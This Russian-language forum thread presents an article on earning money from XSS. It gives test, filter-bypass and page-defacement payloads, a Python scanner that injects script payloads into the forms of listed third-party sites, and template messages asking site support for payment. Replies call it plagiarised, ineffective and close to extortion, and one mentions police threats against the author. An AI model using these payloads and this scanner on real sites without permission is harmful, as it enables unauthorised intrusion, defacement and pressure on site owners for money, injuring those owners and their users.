• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Легкий заработок на xss уязвимости

tonorov

RAID-массив
Пользователь
Регистрация
05.10.2024
Сообщения
55
Реакции
-2
Author: tonorov
Forum:xss.pro


Как можно заработать на обычной xss уязвимости

Чтож ребят, основная суть в том что мы будем искать xss уязвимости на сайтах и сообщать в техподдержку о ее находке, за что нам по факту должны отвалить бабла. Это моя первая статья написаная с моего опыта, прошу не кидаться палками.

Как будет идти ворк:
1. Ищем сайт с XSS уязвимостью
2. Связываемся с поддержкой сайта
3. Просим у них деньги за обнаружение уязвимости

Что такое xss уязвимость?
XSS (Cross-Site Scripting) - межсайтовый скриптинг, всего существует два наиболее популярных XSS уязвимостей

1. Stored XSS: вредоносный скрипт сохраняется на сервере, затем отображается пользователям, когда они посещают определённую страницу. Скрипт может храниться на целевых серверах — например, в базе данных, доске объявлений, журнале посетителей, поле комментариев и т. д. Когда другие пользователи заходят на страницу, где был сохранён этот код, он выполняется в их браузере, часто дефейсят сайты именно с помощью него

2. Reflected XSS: вредоносный скрипт передаётся пользователю через URL или форму регистрации, заказа и т. д. Например, такой вид атак распространён в соцсетях, когда пользователю отправляют ссылку с просьбой принять участие в голосовании. Вредоносные ссылки также используют в комментариях, в письмах на электронную почту и SMS-сообщениях. Как правило, ссылки похожи на адрес сайта, но в них могут быть изменены или добавлены буквы. Этот тип уязвимости мы и будем использовать при нашем ворке.

3. XSS на основе DOM — особенность данного типа атаки в том, что она эксплуатирует уязвимости DOM (очевидно). В отличии от двух других типов, в этом страница на сервере не меняется. Нам приходит совершенно безопасный HTML, но JS, который уже запустится на клиенте, отработает неправильно из‑за внедренного в него скрипта. Другими словами, главное отличие XSS на основе DOM в том, что эксплойт добавляется на страницу в рантайме, в момент запуска JS и он никогда не покидает пределы браузера.
Приступаем к главному. Как проверить сайт на xss уязвимость


Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код

⁡><script>alert("ЛЮБОЙ ТЕКСТ")</script> можете вставить любое слово в скобки, например ⁡><script>alert("XSS")</script> но особую роль это играть не будет


Для примера возьму сайт stolplit.ru ( сайт уже не работает)
5a3486eb-79ec-4674-a3bb-695bb4abbc17.png
b13785c2-169c-4a77-9c18-595396d2473c.png

Т.е если на сайте появляется уведомление с надписью "XSS" или любое слово которые вы ввели

Также еще один пример проверки xss уязвимости с подменой кода сайта

⁡>"<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'>C 22.11.2024 сайт перестаёт работать</H1>";</script>

9VNePGP.png
Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта.


Теперь немного про обход слабой защиты от XSS уязвимости.
На сайте может быть фильтр удаляющий «<script>» или «<, >» из запроса, обойти его можно используя немного другой JS код, например:

⁡<img src="wrongSrc" onerror="alert('XSS')"/>

или

⁡" autofocus onfocus=alert("XSS")//

Поиск сайтов с XSS уязвимостью

Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я сделал простой пайтон скрипт который будет сканировать введеные вами сайты на наличие уязвимости
Инструкция по установке пайтона для работы скрипта
1. Загружаем установочный файл Python3 с официального сайта
(https://www.python.org/downloads/release/python-3115/ )
2. Запускаем установочный файл и следуем иснтрукциям по установке.
* при установке необходимо выбрать опцию "Add Python 3.x to PATH".
3. После установки Python3, открываем командную строку (cmd), или termux если вы на телефоне, и вводим следующие команды для установки нужных библиотек

⁡pip install bs4

⁡⁡⁡pip install requests
⁡pip install colorama

4. Создаем папку, например W0RK. В этой папке создаём 2 файла - main.py и site.txt (в первом файле сам скрипт, а во втором сайты которые будете сканировать)
5. В файл main.py необходимо вставить код предоставленный ниже
Код Python:

Python:
import logging
import random
import requests
import time
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin
from colorama import init, Fore, Style

init(autoreset=True)
logging.basicConfig(level=logging.INFO)

# Список User-Agentov
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15",
    "Mozilla/5.0 (Linux; Android 10; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Mobile Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
 
]

def save(url):
    with open("goods.txt", "a") as file:
        file.write(f"{url}\n")

def get_forms(soup):
    return soup.find_all("form")

def extract_form_details(form):
    details = {}
    action = form.attrs.get("action")
    method = form.attrs.get("method", "get")
   
    if action and not action.startswith("javascript"):
        details["action"] = action.lower()
        details["method"] = method.lower()
       
        inputs = []
        for input_tag in form.find_all(["input", "textarea"]):
            input_type = input_tag.attrs.get("type", "text")
            input_name = input_tag.attrs.get("name")
            if input_name:
                inputs.append({"type": input_type, "name": input_name})
       
        details["inputs"] = inputs
        return details
    return None

def scan_xss(url, stop_time, timeout):
    stop_time = time.time() + stop_time
    session = requests.Session()

    try:
        # Выбор случайного User-Agent перед каждым запросом
        headers = {
            "User-Agent": random.choice(user_agents)
        }
        session.headers.update(headers)

        html = session.get(url, timeout=timeout)
        html.raise_for_status()
        soup = bs(html.content, "html.parser")
        forms = get_forms(soup)
        payloads = ["<script>alert('topor')</script>", "<img src=x onerror=alert('topor')>", "<script type=text/javascript>alert('topor')</script>", "<SCRIPT>alert('topor')</SCRIPT>"]

        for form in forms:
            if time.time() > stop_time:
                break
           
            form_details = extract_form_details(form)
            if not form_details:
                continue
           
            target_url = urljoin(url, form_details["action"])
            data = {input["name"]: "" for input in form_details["inputs"] if input["name"]}

            for payload in payloads:
                for key in data.keys():
                    data[key] = payload  # Меняем значение каждого поля на полезную нагрузку
                   
                    if form_details["method"] == "post":
                        content = session.post(target_url, data=data, timeout=timeout).content.decode('latin-1')
                    else:
                        content = session.get(target_url, params=data, timeout=timeout).content.decode('latin-1')
                       
                    if payload in content:
                        save(url)
                        logging.info(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}")
                        break

    except requests.RequestException as e:
        logging.error(f"Error fetching {url}: {e}")

if __name__ == "__main__":
    checked_urls = set()
   
    with open('site.txt', 'r', encoding="UTF-8") as urls:
        for element in urls:
            url = element.strip()
            if url in checked_urls:
                continue
           
            logging.info(f"Scanning {url}")
            checked_urls.add(url)
            scan_xss(url, 180, 20)


После этого копируем путь к вашему файлу нажимая на эту панель
pic.jpg
\

после этого заходим в терминал cmd/termux и вводим cd путьквашемуфайлу, в моем случае cd C:\idkss\W0RK вводим комманду ⁡python main.py

После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.

Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), все это из-за cloudflare и т.д поэтому всегда перепроверяйте сайт вручную.

Где взять сайты?

Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/
Вводим поисковый запрос который нам нужен, советую выбирать сайты где крутятся деньги, в моем случае это маркетплейсы, выбираем мобильное устройство и регион по желанию

ss.png

ss1.png
Получаем ссылки и копируем их в файл site.txt
Связываемся с поддержкой сайта
После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. После находки сайтов с тп ищем их электронные почты и рассылаем сообщения.
ba0e3da1-13f0-4931-b1e0-1e94ef01fe5c.png

Что писать в тех. поддержку?

Первое сообщение
Здравствуйте, я нашёл довольно опасную уязвимость на вашем сайте, могу подробнее рассказать о ней
Второе сообщение
У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать <, >, /, (, ) из запроса.

Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)

формируем JS код
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'><br>C 01.05.2024 сайт перестаёт работать</H1>";</script>
вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат
(Фото с выполнением JS кода на сайте)
Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)
(Ссылка на их сайт с выполняющимся JS кодом)

На этом статья окончена, надеюсь что у кого то получится заработать денег таким способом,всем удачи!
 
Загуглил и увидел точно такую же статью, причём скопирована она с зелёнки🫤
Работает ли? Да. Эффективно? Нет. Во-первых, ты берешь уже переебаный список сайтов, а значит просто так потеряешь время. Во-вторых, ты и правда думаешь что тебе за это заплатят? Из 10000 тебе ответят максимум 10 человек. И то не факт что заплатят. Хотя... Мне за какую-то там найденную скулю на сайте вейпшопа предлагали в качестве благодарности набор с вейпом😄
Запомни - если и берешь чужие статьи, то подписывай откуда взял.
 
Как и писали выше, слизано с зеленого форума (что уже смешно пизда ибо где лолз а где хакинг) и ничего нового тут для себя не увидел. Так же хотелось бы отметить две вещи. Первое, большинство владельцев сайтов где нет официальной баг баунти политики не заплатят вам от слова совсем за найденную уязвимость и просто фиксанут ёё по тихой (если найдут сами конечно) или вообще проигнорируют. Второе, в статье продемонстрирована РАБОТА ПО РУ пускай и в этическом ключе. Если у сайта нет официальной баг-баунти программы то и ломать его можно с крайней осторожностью особенно учитывая что гео сайта это ваша страна. А ну и напоследок скрипт которым предложено искать вулны вообще ни о чем.
 
Загуглил и увидел точно такую же статью, причём скопирована она с зелёнки🫤
Работает ли? Да. Эффективно? Нет. Во-первых, ты берешь уже переебаный список сайтов, а значит просто так потеряешь время. Во-вторых, ты и правда думаешь что тебе за это заплатят? Из 10000 тебе ответят максимум 10 человек. И то не факт что заплатят. Хотя... Мне за какую-то там найденную скулю на сайте вейпшопа предлагали в качестве благодарности набор с вейпом😄
Запомни - если и берешь чужие статьи, то подписывай откуда взял.
Тут не согласится сложно, как же похуй владельцам на скули в их шопах, статистика ответов взята из жизни, но скорей всего сидят сапы которые владельцам не передают даже эти данные, а на дыры XSS они всем офисом угорать будут , возможно исключения какие то шопы миллионики с дорогим товаром
 
Был опыт занятий подобной деятельностью, конечно немного в другом направлении профита было 0 ))), хотя дыру прикрывали ,но на кошелек ничего так и не упало, проблемы могли бы возникнуть по серьезнее не пофиксив ).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
более того, где-то месяц назад автор статьи такого заработка создал ещё одну тему на зеленке где он скинул скрин как ему угрожали заявлением в полицию те у кого он просил "вознаграждение" и говорили что без осведомления проводит атаки и они из за этого потерпели убытки, а он такой спрашивал в теме стоит ли париться или юриста искать
 
я думаю уже все поняли что статью спиздили ? ... и скриншоты и скрипт все спиздил просто ...
и насколько я помню (когда ещё сидел на лолзе) там писали некоторые люди что пробовали а в итоге 0
и ещё лучше не делать так ...
1) все могут подумать что ты далеко не умный человек
2) статью уже возможно все видели (темболее ты взял прям самую популярную)
подумай перед тем как что-то делать
 
более того, где-то месяц назад автор статьи такого заработка создал ещё одну тему на зеленке где он скинул скрин как ему угрожали заявлением в полицию те у кого он просил "вознаграждение" и говорили что без осведомления проводит атаки и они из за этого потерпели убытки, а он такой спрашивал в теме стоит ли париться или юриста искать
если это правда то забавно что в коментах автор писал что ничего не будет
 
Хорошая копирка с лолза,да и какой процент людей которые ответили тебе на почту?ВОТ ИМЕННО....
Поэтому тема хороша,реализация качает.Да и тем более это больше смахивает на вымогательство.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх